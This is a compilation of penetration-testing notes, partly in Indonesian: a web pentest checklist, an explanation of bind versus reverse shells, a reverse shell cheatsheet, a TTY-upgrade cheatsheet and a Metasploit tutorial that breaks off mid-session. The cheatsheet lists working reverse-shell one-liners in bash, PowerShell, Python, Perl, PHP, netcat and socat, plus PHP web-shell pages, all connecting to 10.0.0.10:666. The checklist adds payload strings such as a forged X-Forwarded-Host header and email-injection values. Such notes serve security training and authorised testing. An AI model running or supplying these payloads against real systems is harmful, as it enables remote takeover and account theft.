* Allow a designated period for the client to remediate identified issues.
* Conduct retests to verify the effectiveness of fixes.
* Update the report with verification results and any new findings.
* Validate that security controls are now functioning as intended.

#### Unresolved Issues

* Document any unresolved security issues.
* Recommend strategies for ongoing monitoring and improvement.

#### Continuous Improvement

* Assist in identifying root causes to prevent future vulnerabilities.
* Recommend improvements to policies, procedures, and security practices.
* Propose integrating security into the software development lifecycle.
* Advise on the need for security awareness and training programs.
* Propose a schedule for regular future security audits.
* Provide guidance on implementing a vulnerability management program.


# Pentesting Web checklist

Supaya kamu ga pusing harus ngapain aja kalo mau pentest web ya.

Sumber:[ Pentest Book six2dez](https://pentestbook.six2dez.com/)

## Recon phase <a href="#recon-phase" id="recon-phase"></a>

* [ ] Large: a whole company with multiple domains
* [ ] Medium: a single domain
* [ ] Small: a single website

### Large scope <a href="#large-scope" id="large-scope"></a>

* [ ] Get [ASN](https://pentestbook.six2dez.com/recon/public-info-gathering#amass) for IP ranges ([amass](https://github.com/OWASP/Amass), [asnlookup](https://github.com/yassineaboukir/Asnlookup), [metabigor](https://github.com/j3ssie/metabigor), [bgp](https://bgp.he.net/))
* [ ] Review latest [acquisitions](https://www.crunchbase.com/)
* [ ] Get relationships by registrants ([viewdns](https://viewdns.info/reversewhois/))
* [ ] Go to medium scope for each domain

#### Medium scope <a href="#medium-scope" id="medium-scope"></a>

* [ ] [Enumerate subdomains](https://pentestbook.six2dez.com/recon/subdomain-enum) ([amass](https://github.com/OWASP/Amass) or [subfinder](https://github.com/projectdiscovery/subfinder) with all available API keys)
* [ ] Subdomain bruteforce ([puredns](https://github.com/d3mondev/puredns) with [wordlist](https://gist.github.com/six2dez/a307a04a222fab5a57466c51e1569acf))
* [ ] Permute subdomains ([gotator](https://github.com/Josue87/gotator) or [ripgen](https://github.com/resyncgg/ripgen) with [wordlist](https://gist.github.com/six2dez/ffc2b14d283e8f8eff6ac83e20a3c4b4))
* [ ] Identify alive subdomains ([httpx](https://github.com/projectdiscovery/httpx))
* [ ] [Subdomain takeovers](https://pentestbook.six2dez.com/recon/subdomain-enum/subdomain-takeover) ([nuclei-takeovers](https://github.com/projectdiscovery/nuclei-templates/tree/master/takeovers))
* [ ] Check for [cloud assets](https://pentestbook.six2dez.com/enumeration/cloud/cloud-info-recon) ([cloudenum](https://github.com/initstring/cloud_enum))
* [ ] [Shodan](https://pentestbook.six2dez.com/recon/public-info-gathering#shodan) search
* [ ] [Transfer zone](https://six2dez.gitbook.io/pentest-book/enumeration/ports#port-53-dns)
* [ ] Subdomains recursive search
* [ ] Take screenshots ([gowitness](https://github.com/sensepost/gowitness), [webscreenshot](https://github.com/maaaaz/webscreenshot), [aquatone](https://github.com/michenriksen/aquatone))

#### Small scope <a href="#small-scope" id="small-scope"></a>

* [ ] Identify web server, technologies and database ([httpx](https://github.com/projectdiscovery/httpx))
* [ ] Try to locate `/robots.txt` , `/crossdomain.xml` `/clientaccesspolicy.xml` `/sitemap.xml` and `/.well-known/`
* [ ] Review comments on source code (Burp Engagement Tools)
* [ ] [Directory enumeration](https://pentestbook.six2dez.com/enumeration/web/crawl-fuzz)
* [ ] Web fuzzing ([ffuf](https://github.com/ffuf/ffuf) and [wordlist](https://github.com/six2dez/OneListForAll))
* [ ] Find[ leaked ids, emails](https://pentestbook.six2dez.com/recon/public-info-gathering) ([pwndb](https://github.com/davidtavarez/pwndb))
* [ ] Identify WAF ([whatwaf](https://github.com/Ekultek/WhatWaf), [wafw00f](https://github.com/EnableSecurity/wafw00f))
* [ ] [Google dorking](https://pentestbook.six2dez.com/recon/public-info-gathering#google)
* [ ] [GitHub dorking](https://pentestbook.six2dez.com/recon/public-info-gathering#github)/Github tools ([githound](https://github.com/tillson/git-hound), [gitdorks\_go](https://github.com/damit5/gitdorks_go))
* [ ] Get urls ([gau](https://github.com/lc/gau) , [waybackurls](https://github.com/tomnomnom/waybackurls), [gospider](https://github.com/jaeles-project/gospider))
* [ ] Check potential vulnerable urls ([gf-patterns](https://github.com/1ndianl33t/Gf-Patterns))
* [ ] Automatic XSS finder ([dalfox](https://github.com/hahwul/dalfox))
* [ ] Locate admin and login panel
* [ ] Broken link hijacking ([blc](https://github.com/stevenvachon/broken-link-checker))
* [ ] Get all JS files ([subjs](https://github.com/lc/subjs), [xnLinkFinder](https://github.com/xnl-h4ck3r/xnLinkFinder))
* [ ] JS hardcoded APIs and secrets ([nuclei-tokens](https://github.com/projectdiscovery/nuclei-templates/tree/4e3f843e15c68f816f0ef6abce5d30b6cf6d4a30/exposures/tokens))
* [ ] JS analysis ([subjs](https://github.com/lc/subjs), [JSA](https://github.com/w9w/JSA), [xnLinkFinder](https://github.com/xnl-h4ck3r/xnLinkFinder), [getjswords](https://github.com/m4ll0k/BBTz))
* [ ] Run automated scanner ([nuclei](https://github.com/projectdiscovery/nuclei))
* [ ] Test CORS ([CORScanner](https://github.com/chenjj/CORScanner), [corsy](https://github.com/s0md3v/Corsy))

#### Network <a href="#network" id="network"></a>

* [ ] Check ICMP packets allowed
* [ ] Check DMARC/SPF policies ([spoofcheck](https://github.com/BishopFox/spoofcheck))
* [ ] Open ports with [Shodan](https://www.shodan.io/)
* [ ] [Port scan](https://pentestbook.six2dez.com/recon/network-scanning#nmap) to all ports
* [ ] Check UDP ports ([udp-proto-scanner](https://github.com/CiscoCXSecurity/udp-proto-scanner) or nmap)
* [ ] Test [SSL ](https://pentestbook.six2dez.com/enumeration/ssl-tls)([testssl](https://github.com/drwetter/testssl.sh))
* [ ] If got creds, try password [spraying ](https://github.com/x90skysn3k/brutespray)for all the services discovered

#### Preparation <a href="#preparation" id="preparation"></a>

* [ ] Study site structure
* [ ] Make a list with all possible test cases
* [ ] Understand the business area and what their customer needs
* [ ] Get a list of every asset (all\_subdomains.txt, live\_subdomains.txt, waybackurls.txt, hidden\_directories.txt, nmap\_results.txt, GitHub\_search.txt, altdns\_subdomain.txt, vulnerable\_links.txt, js\_files.txt)

## User management <a href="#user-management" id="user-management"></a>

#### Registration <a href="#registration" id="registration"></a>

* [ ] Duplicate registration (try with uppercase, +1\@..., dots in name, etc)
* [ ] Overwrite existing user (existing user takeover)
* [ ] Username uniqueness
* [ ] Weak password policy (user=password, password=123456,111111,abcabc,qwerty12)
* [ ] [Insufficient email verification process](https://pentestbook.six2dez.com/enumeration/web/email-attacks) (also my%<00email@mail.com> for account tko)
* [ ] Weak registration implementation or allows disposable email addresses
* [ ] Fuzz after user creation to check if any folder have been overwritten or created with your profile name
* [ ] Add only spaces in password
* [ ] Long password (>200) leads to DoS
* [ ] Corrupt authentication and session defects: Sign up, don't verify, request change password, change, check if account is active.
* [ ] Try to re-register repeating same request with same password and different password too
* [ ] If JSON request, add comma {“email”:“<victim@mail.com>”,”<hacker@mail.com>”,“token”:”xxxxxxxxxx”}
* [ ] Lack of confirmation -> try to register with company email.
* [ ] Check OAuth with social media registration
* [ ] Check state parameter on social media registration
* [ ] Try to capture integration url leading integration takeover
* [ ] Check redirections in register page after login
* [ ] Rate limit on account creation
* [ ] XSS on name or email

#### Authentication <a href="#authentication" id="authentication"></a>

* [ ] Username enumeration
* [ ] Resilience to password guessing
* [ ] Account recovery function
* [ ] "Remember me" function
* [ ] Impersonation function
* [ ] Unsafe distribution of credentials
* [ ] Fail-open conditions
* [ ] Multi-stage mechanisms
* [ ] [SQL Injections](https://pentestbook.six2dez.com/enumeration/web/sqli)
* [ ] Auto-complete testing
* [ ] Lack of password confirmation on change email, password or 2FA (try change response)
* [ ] Weak login function over HTTP and HTTPS if both are available
* [ ] User account lockout mechanism on brute force attack
* [ ] Check for password wordlist ([cewl](https://github.com/digininja/CeWL) and [burp-goldenNuggets](https://github.com/GainSec/GoldenNuggets-1))
* [ ] Test 0auth login functionality for [Open Redirection](https://pentestbook.six2dez.com/enumeration/web/ssrf)
* [ ] Test response tampering in [SAML ](https://pentestbook.six2dez.com/enumeration/webservices/onelogin-saml-login)authentication
* [ ] In OTP check guessable codes and race conditions
* [ ] OTP, check response manipulation for bypass
* [ ] OTP, try bruteforce
* [ ] If [JWT](https://pentestbook.six2dez.com/enumeration/webservices/jwt), check common flaws
* [ ] Browser cache weakness (eg Pragma, Expires, Max-age)
* [ ] After register, logout, clean cache, go to home page and paste your profile url in browser, check for "login?next=accounts/profile" for open redirect or XSS with "/login?next=javascript:alert(1);//"
* [ ] Try login with common [credentials](https://github.com/ihebski/DefaultCreds-cheat-sheet)

#### Session <a href="#session" id="session"></a>

* [ ] Session handling
* [ ] Test tokens for meaning
* [ ] Test tokens for predictability
* [ ] Insecure transmission of tokens
* [ ] Disclosure of tokens in logs
* [ ] Mapping of tokens to sessions
* [ ] Session termination
* [ ] Session fixation
* [ ] [Cross-site request forgery](https://pentestbook.six2dez.com/enumeration/web/csrf)
* [ ] Cookie scope
* [ ] Decode Cookie (Base64, hex, URL etc.)
* [ ] Cookie expiration time
* [ ] Check HTTPOnly and Secure flags
* [ ] Use same cookie from a different effective IP address or system
* [ ] Access controls
* [ ] Effectiveness of controls using multiple accounts
* [ ] Insecure access control methods (request parameters, Referer header, etc)
* [ ] Check for concurrent login through different machine/IP
* [ ] Bypass [AntiCSRF ](https://pentestbook.six2dez.com/enumeration/web/csrf#csrf-token-bypass)tokens
* [ ] Weak generated security questions
* [ ] Path traversal on cookies
* [ ] Reuse cookie after session closed
* [ ] Logout and click browser "go back" function (Alt + Left arrow)
* [ ] 2 instances open, 1st change or reset password, refresh 2nd instance
* [ ] With privileged user perform privileged actions, try to repeat with unprivileged user cookie.

#### Profile/Account details <a href="#profile-account-details" id="profile-account-details"></a>

* [ ] Find parameter with user id and try to tamper in order to get the details of other users
* [ ] Create a list of features that are pertaining to a user account only and try [CSRF](https://pentestbook.six2dez.com/enumeration/web/csrf)
* [ ] Change email id and update with any existing email id. Check if its getting validated on server or not.
* [ ] Check any new email confirmation link and what if user doesn't confirm.
* [ ] File [upload](https://pentestbook.six2dez.com/enumeration/web/upload-bypasses): [eicar](https://secure.eicar.org/eicar.com.txt), No Size Limit, File extension, Filter Bypass, [burp](https://github.com/portswigger/upload-scanner) extension, RCE
* [ ] CSV import/export: Command Injection, XSS, macro injection
* [ ] Check profile picture URL and find email id/user info or [EXIF Geolocation Data](http://exif.regex.info/exif.cgi)
* [ ] Imagetragick in picture profile upload
* [ ] [Metadata ](https://github.com/exiftool/exiftool)of all downloadable files (Geolocation, usernames)
* [ ] Account deletion option and try to reactivate with "Forgot password" feature
* [ ] Try bruteforce enumeration when change any user unique parameter.
* [ ] Check application request re-authentication for sensitive operations
* [ ] Try parameter pollution to add two values of same field
* [ ] Check different roles policy

#### Forgot/reset password <a href="#forgot-reset-password" id="forgot-reset-password"></a>

* [ ] Invalidate session on Logout and Password reset
* [ ] Uniqueness of forget password reset link/code
* [ ] Reset links expiration time
* [ ] Find user id or other sensitive fields in reset link and tamper them
* [ ] Request 2 reset passwords links and use the older
* [ ] Check if many requests have sequential tokens
* [ ] Use <username@burp_collab.net> and analyze the callback
* [ ] Host header injection for token leakage
* [ ] Add X-Forwarded-Host: evil.com to receive the reset link with evil.com
* [ ] Email crafting like <victim@gmail.com>@target.com
* [ ] IDOR in reset link
* [ ] Capture reset token and use with other email/userID
* [ ] No TLD in email parameter
* [ ] User carbon copy email=<victim@mail.com>%0a%0dcc:<hacker@mail.com>
* [ ] Long password (>200) leads to DoS
* [ ] No rate limit, capture request and send over 1000 times
* [ ] Check encryption in reset password token
* [ ] Token leak in referer header
* [ ] Append second email param and value
* [ ] Understand how token is generated (timestamp, username, birthdate,...)
* [ ] Response manipulation

## Input handling <a href="#input-handling" id="input-handling"></a>

* [ ] Fuzz all request parameters (if got user, add headers to fuzzer)
* [ ] Identify all reflected data
* [ ] [Reflected XSS](https://pentestbook.six2dez.com/enumeration/web/xss)
* [ ] HTTP[ header injection](https://pentestbook.six2dez.com/enumeration/web/header-injections) in GET & POST (X Forwarded Host)
* [ ] RCE via Referer Header
* [ ] SQL injection via User-Agent Header
* [ ] Arbitrary redirection
* [ ] Stored attacks
* [ ] OS command injection
* [ ] Path [traversal](https://pentestbook.six2dez.com/enumeration/web/lfi-rfi), LFI and RFI
* [ ] Script injection
* [ ] File inclusion
* [ ] SMTP injection
* [ ] Native software flaws (buffer overflow, integer bugs, format strings)
* [ ] SOAP injection
* [ ] LDAP injection
* [ ] SSI Injection
* [ ] XPath injection
* [ ] [XXE](https://pentestbook.six2dez.com/enumeration/web/xxe) in any request, change content-type to text/xml
* [ ] Stored [XSS](https://pentestbook.six2dez.com/enumeration/web/xss)
* [ ] [SQL ](https://pentestbook.six2dez.com/enumeration/web/sqli)injection with ' and '--+-
* [ ] [NoSQL ](https://pentestbook.six2dez.com/enumeration/webservices/nosql-and-and-mongodb)injection
* [ ] HTTP Request [Smuggling](https://pentestbook.six2dez.com/enumeration/web/request-smuggling)
* [ ] [Open redirect](https://pentestbook.six2dez.com/enumeration/web/ssrf)
* [ ] Code Injection (\<h1>six2dez\</h1> on stored param)
* [ ] [SSRF ](https://pentestbook.six2dez.com/enumeration/web/ssrf)in previously discovered open ports
* [ ] xmlrpc.php DOS and user enumeration
* [ ] HTTP dangerous methods OPTIONS PUT DELETE
* [ ] Try to discover hidden parameters ([arjun ](https://github.com/s0md3v/Arjun)or [parameth](https://github.com/maK-/parameth))
* [ ] Insecure deserialization

#### Error handling <a href="#error-handling" id="error-handling"></a>

* [ ] Access custom pages like /whatever\_fake.php (.aspx,.html,.etc)
* [ ] Add multiple parameters in GET and POST request using different values
* [ ] Add "\[]", "]]", and "\[\[" in cookie values and parameter values to create errors
* [ ] Generate error by giving input as "/\~randomthing/%s" at the end of URL
* [ ] Use Burp Intruder "Fuzzing Full" List in input to generate error codes
* [ ] Try different HTTP Verbs like PATCH, DEBUG or wrong like FAKE

## Application Logic <a href="#application-logic" id="application-logic"></a>

* [ ] Identify the logic attack surface
* [ ] Test transmission of data via the client
* [ ] Test for reliance on client-side input validation
* [ ] Thick-client components (Java, ActiveX, Flash)
* [ ] Multi-stage processes for logic flaws
* [ ] Handling of incomplete input
* [ ] Trust boundaries
* [ ] Transaction logic
* [ ] Implemented CAPTCHA in email forms to avoid flooding
* [ ] Tamper product id, price or quantity value in any action (add, modify, delete, place, pay...)
* [ ] Tamper gift or discount codes
* [ ] Reuse gift codes
* [ ] Try parameter pollution to use gift code two times in same request
* [ ] Try stored XSS in non-limited fields like address
* [ ] Check in payment form if CVV and card number is in clear text or masked
* [ ] Check if is processed by the app itself or sent to 3rd parts
* [ ] IDOR from other users details ticket/cart/shipment
* [ ] Check for test credit card number allowed like 4111 1111 1111 1111 ([sample1](https://www.paypalobjects.com/en_GB/vhelp/paypalmanager_help/credit_card_numbers.htm) [sample2](http://support.worldpay.com/support/kb/bg/testandgolive/tgl5103.html))
* [ ] Check PRINT or PDF creation for IDOR
* [ ] Check unsubscribe button with user enumeration
* [ ] Parameter pollution on social media sharing links
* [ ] Change POST sensitive requests to GET

## Other checks <a href="#other-checks" id="other-checks"></a>

#### Infrastructure <a href="#infrastructure" id="infrastructure"></a>

* [ ] Segregation in shared infrastructures
* [ ] Segregation between ASP-hosted applications
* [ ] Web server vulnerabilities
* [ ] Dangerous HTTP methods
* [ ] Proxy functionality
* [ ] [Virtual ](https://pentestbook.six2dez.com/enumeration/webservices/vhosts)hosting misconfiguration ([VHostScan](https://github.com/codingo/VHostScan))
* [ ] Check for internal numeric IP's in request
* [ ] Check for external numeric IP's and resolve it
* [ ] Test [cloud ](https://pentestbook.six2dez.com/enumeration/cloud/cloud-info-recon)storage
* [ ] Check the existence of alternative channels ([www.web.com](http://www.web.com) vs m.web.com)

#### CAPTCHA <a href="#captcha" id="captcha"></a>

* [ ] Send old captcha value.
* [ ] Send old captcha value with old session ID.
* [ ] Request captcha absolute path like [www.url.com/captcha/1.png](http://www.url.com/captcha/1.png)
* [ ] Remove captcha with any adblocker and request again
* [ ] Bypass with OCR tool ([easy one](https://github.com/pry0cc/prys-hacks/blob/master/image-to-text))
* [ ] Change from POST to GET
* [ ] Remove captcha parameter
* [ ] Convert JSON request to normal
* [ ] Try header injections

#### Security Headers <a href="#security-headers" id="security-headers"></a>

* [ ] X-XSS-Protection
* [ ] Strict-Transport-Security
* [ ] Content-Security-Policy
* [ ] Public-Key-Pins
* [ ] X-Frame-Options
* [ ] X-Content-Type-Options
* [ ] Referer-Policy
* [ ] Cache-Control
* [ ] Expires


# Bind vs Reverse Shell Concept

Source: https\://www\.geeksforgeeks.org/ and GPTs

In the context of penetration testing and cybersecurity, a "shell" refers to a user interface for accessing the operating system's services. In simpler terms, it's a way to interact with the computer's operating system through commands. There are two primary types of shells:

1. **Command-Line Shells**: These allow users to interact with the operating system via text-based commands. Examples include the Windows Command Prompt, PowerShell, and Unix/Linux shells like Bash, Zsh, or Ksh.
2. **Graphical Shells**: These provide a graphical user interface (GUI) to interact with the operating system. Examples include the Windows GUI, macOS Finder, or various Linux desktop environments like GNOME or KDE.

In penetration testing:

* When a penetration tester (or attacker) gains access to a shell on a target system, they can execute commands as if they were a legitimate user of that system. This is a critical step in many cyber attacks, as it often grants the attacker the ability to explore, extract data, or exploit the system further.
* Both bind shells and reverse shells are methods to gain remote access to a command-line shell on a target system. The difference lies in how the connection between the attacker and the target system is established, as previously explained.

Gaining access to a shell on a target system is a significant step in penetration testing, as it can allow for deep control and exploration of the system, depending on the level of access (user privileges) that the shell operates under.

So what is Bind Shell and Reverse Shell. Lets gooo!

### Bind Shell:

<figure><img src="https://media.geeksforgeeks.org/wp-content/uploads/20211213160846/BindShell-660x309.png" alt=""><figcaption></figcaption></figure>

Bind Shell

A bind shell is a sort of setup where remote consoles are established with other computers over the network. In Bind shell, an attacker launches a service on the target computer, to which the attacker can connect. In a bind shell, an attacker can connect to the target computer and execute commands on the target computer. To launch a bind shell, the attacker must have the IP address of the victim to access the target computer.

### Reverse Shell:

<figure><img src="https://media.geeksforgeeks.org/wp-content/uploads/20211213160910/Reverseshell-660x309.png" alt=""><figcaption></figcaption></figure>

Reverse Shell

A reverse shell or connect-back is a setup, where the attacker must first start the server on his machine, while the target machine will have to act as a client that connects to the server served by the attacker. After the successful connection, the attacker can gain access to the shell of the target computer.

To launch a Reverse shell, the attacker doesn’t need to know the IP address of the victim to access the target computer.

#### Difference Between Bind Shell and Reverse Shell

| NO. | Bind Shell                                                                                                                                         | Reverse Shell                                                                                                                                                                       |
| --- | -------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 1.  | Bind Shells have the listener running on the target and the attacker connects to the listener in order to gain remote access to the target system. | In the reverse shell, the attacker has the listener running on his/her machine and the target connects to the attacker with a shell. So that attacker can access the target system. |
| 2.  | In Bind shell, the attacker finds an open port on the server/ target machine and then tries to bind his shell to that port.                        | In the reverse shell, the attacker opens his own port. So that victim can connect to that port for successful connection.                                                           |
| 3.  | The attacker must know the IP address of the victim before launching the Bind Shell.                                                               | The attacker doesn’t need to know the IP address of the victim, because the attacker is going to connect to our open port.                                                          |
| 4.  | In Bind shell, the listener is ON on the target machine and the attacker connects to it.                                                           | The Reverse shell is opposite of the Bind Shell, in the reverse shell, the listener is ON on the Attacker machine and the target machine connects to it.                            |
| 5.  | Bind Shell sometimes will fail, because modern firewalls don’t allow outsiders to connect to open ports.                                           | Reverse Shell can bypass the firewall issues because this target machine tries to connect to the attacker, so the firewall doesn’t bother checking packets.                         |

<br>


# Reverse Shell Cheatsheet

**Bash**

```bash
bash -i >& /dev/tcp/10.0.0.10/666 0>&1
```

*or*

```bash
0<&196;exec 196<>/dev/tcp/10.0.0.10/666; sh <&196 >&196 2>&196
```

*or*

```bash
bash -c 'bash -i >& /dev/tcp/10.0.0.10/666 0>&1'
```

**PowerShell**

```powershell
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.10',666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -Name System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

**Python for Linux**

```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.10",666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

*or*

```python
__import__("os").system("bash -c 'bash -i >& /dev/tcp/10.0.0.10/666 0>&1'")
```

**Python for Windows**

```
exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n    while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n    while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n    try: s.connect(("10.0.0.10",666)); break\n    except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""")
```

*or*

```
python -c 'exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n    while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n    while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n    try: s.connect(("10.0.0.10",666)); break\n    except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""")
```

**Perl**

```
perl -e 'use Socket;$i="10.0.0.10";$p=666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

**PHP**

```
php -r '$sock=fsockopen("10.0.0.10",666);exec("/bin/sh -i <&3 >&3 2>&3");'
```

**Ruby**

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.10",666).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

**Java**

```
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.10/666;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();
```

**Lua**

```
lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('10.0.0.10',666);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();" 
```

**Telnet**

```
telnet localhost 443 | /bin/sh | telnet localhost 444
```

**Xterm**

```
xterm -display 10.0.0.10:1
```

***

### PHP Web Pages <a href="#php-web-pages" id="php-web-pages"></a>

**Linux**

```
<?php echo shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/666 0>&1'")?>
```

**Windows**

```
<?php echo shell_exec("powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.10',666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -Name System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"")?>
```

***

### Tools <a href="#tools" id="tools"></a>

**Netcat**

```
nc -e /bin/sh 10.0.0.10 666
```

**Netcat without -e**

```
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.10 666 > /tmp/f
```

**Socat**

```
user@ubuntu:~$ socat - TCP4:10.0.0.10:666 EXEC:'/bin/bash -li'
C:\> socat TCP4:10.0.0.10:666 EXEC:'cmd.exe'
```

**Powercat**

```
powercat -c 10.0.0.10 -p 666 -e cmd.exe
```

<br>


# Linux TTY Shell Cheat Sheet

Source https\://steflan-security.com

### **Introduction**

During a penetration test, when obtaining access to a remote Linux host via a reverse/bind shell, it can be very painful to issue certain commands over it and it is often a much better option to obtain an interactive shell. These are the main reason why this is a good idea:

* More shell stability, as things like CTRL+C will no longer close down the connection.
* Ability to use up, down, left, and right arrows to navigate through and modify commands.
* Ability to use applications or commands that use a login prompt such as Sudo, MySQL, SSH, etc.
* Ability to use tab-auto completion in commands.
* Ability to view commands, output, and file contents in the same terminal size as the host machine.

This article will list the various commands that can be used to obtain a TTY shell and also how to turn it into a fully interactive shell.

### **Cheat Sheet**

The following table contains commands to execute in various scripting languages and tools to

<table data-header-hidden><thead><tr><th></th><th></th></tr></thead><tbody><tr><td><strong>Command</strong></td><td><strong>Description</strong></td></tr><tr><td><pre class="language-sh"><code class="lang-sh">SHELL=/bin/bash script -q /dev/null
</code></pre></td><td>Shell to Bash TTY shell</td></tr><tr><td><pre class="language-python"><code class="lang-python">python -c 'import pty; pty.spawn("/bin/bash")'
</code></pre></td><td>Python BASH TTY shell</td></tr><tr><td><pre class="language-python"><code class="lang-python">python3 -c 'import pty; pty.spawn(“/bin/bash”)'
</code></pre></td><td>Python 3 BASH TTY shell</td></tr><tr><td><pre class="language-bash"><code class="lang-bash">echo os.system('/bin/bash')
</code></pre></td><td>Echo BASH TTY shell</td></tr><tr><td><pre class="language-bash"><code class="lang-bash">/bin/bash -i
</code></pre></td><td>BASH TTY shell</td></tr><tr><td><pre class="language-perl"><code class="lang-perl">perl -e 'exec "/bin/bash";'
</code></pre></td><td>Perl BASH TTY shell</td></tr><tr><td><pre class="language-ruby"><code class="lang-ruby">ruby -e 'exec "/bin/bash"'
</code></pre></td><td>Ruby BASH TTY shell</td></tr><tr><td><pre class="language-lua"><code class="lang-lua">lua: os.execute('/bin/sh')
</code></pre></td><td>Lua BASH TTY shell</td></tr><tr><td><pre class="language-birb"><code class="lang-birb">exec "/bin/sh"
</code></pre></td><td>IRB BASH TTY shelll</td></tr><tr><td><pre class="language-vim"><code class="lang-vim">:!bash
</code></pre></td><td>Vi/Vim BASH TTY shell</td></tr><tr><td><pre class="language-vim"><code class="lang-vim">:set shell=/bin/bash:shell
</code></pre></td><td>Vi/Vim BASH TTY shell</td></tr><tr><td><pre><code>CTRO+R CTRL+X reset; /bin/bash 1>&#x26;0 2>&#x26;0
</code></pre></td><td>Nano BASH TTY shell</td></tr><tr><td><pre><code>!bash
</code></pre></td><td>Nmap BASH TTY shell</td></tr></tbody></table>

### **Obtaining a Fully Interactive Shell**

The commands used above can also be issued with sh or /bin/sh, rather than bash or /bin/bash, if BASH is not an option. Once a TTY shell has been achieved, the following commands can be used in order to obtain a fully interactive shell:

```
#backgrounding the shell process
Ctrl-Z
#checking the number of rows and columns in the host terminal
stty -a
#setting terminal settings like new line, break characters etc.
stty raw -echo
#returning to the shell
fg + ENTER
#declaring environment variables to be able to use cllear etc. and colors
reset
export SHELL=bash
export TERM=xterm-256color
#setting the terminal rows and columns based on the host configuration
stty rows <num> columns <cols>
```

### **Conclusion**

Having a fully interactive shell can help immensely while enumerating a given host, performing post exploitation techniques and attempting to escalate privileges, and as most Linux systems come with Python or other scripting languages already installed, obtaining one should be fairly effortless.


# Menaikkan Common Shell ke Meterpreter

Source: https\://null-byte.wonderhowto.com

Popping a shell is often the main goal of a hacker, and it can be exciting when executed properly, but sometimes they do have their limitations. Metasploit's Meterpreter probably needs no introduction, but this powerful, dynamic payload can offer a leg up over normal shells. To prove it, we'll show how to take a normal command shell and elevate it to a Meterpreter session.

### Shell vs. Meterpreter <a href="#jump-shellvsmeterpreter" id="jump-shellvsmeterpreter"></a>

A shell is basically an interface that acts as a shortcut to the commands of an operating system. When it comes to hacking, there are two types of shells that are mainly talked about: bind shells and reverse shells.

A bind shell effectively binds itself to a certain port on the target, and the attacking system connects to that listening port and a session is created. A reverse shell, on the other hand, actively connects from the target machine to the attacking machine, where a listener is waiting for incoming connections.

Command shells provide a great way to really dig into the target, but they are not always the best option. Usually, they are constrained to the privileges of the user who initiated the shell, so the power that comes with root-level access isn't always available.

Meterpreter allows us to run post-exploitation modules and privilege escalation exploits locally on the target. It utilizes encrypted communication methods and nothing is written to disk during operation, making it a suitable weapon that leaves little to no evidence behind. Meterpreter offers a ton of other features and is highly extensible, which makes it an excellent addition to any hacker's arsenal.

### Step 1 Start a Listener <a href="#jump-step1" id="jump-step1"></a>

To get started, fire up Metasploit. Type **msfconsole** in the terminal and we'll be greeted by a nice little welcome banner after it loads. We'll be using a great feature of Metasploit, which is the ability to set up a universal listener that can handle a wide range of different types of shells. Enter the following to load the module:

```unknown
use exploit/multi/handler
```

Next, we need to specify the listening host and port, using the IP address of our local machine and an arbitrary port number. We also need to set the payload — the versatile reverse TCP shell is an excellent choice here.

```unknown
msf5 exploit(multi/handler) > set lhost 172.16.1.100
lhost => 172.16.1.100
msf5 exploit(multi/handler) > set lport 1234
lport => 1234
msf5 exploit(multi/handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
```

Type **options** at the prompt to verify that our settings are correct.

```unknown
msf5 exploit(multi/handler) > options

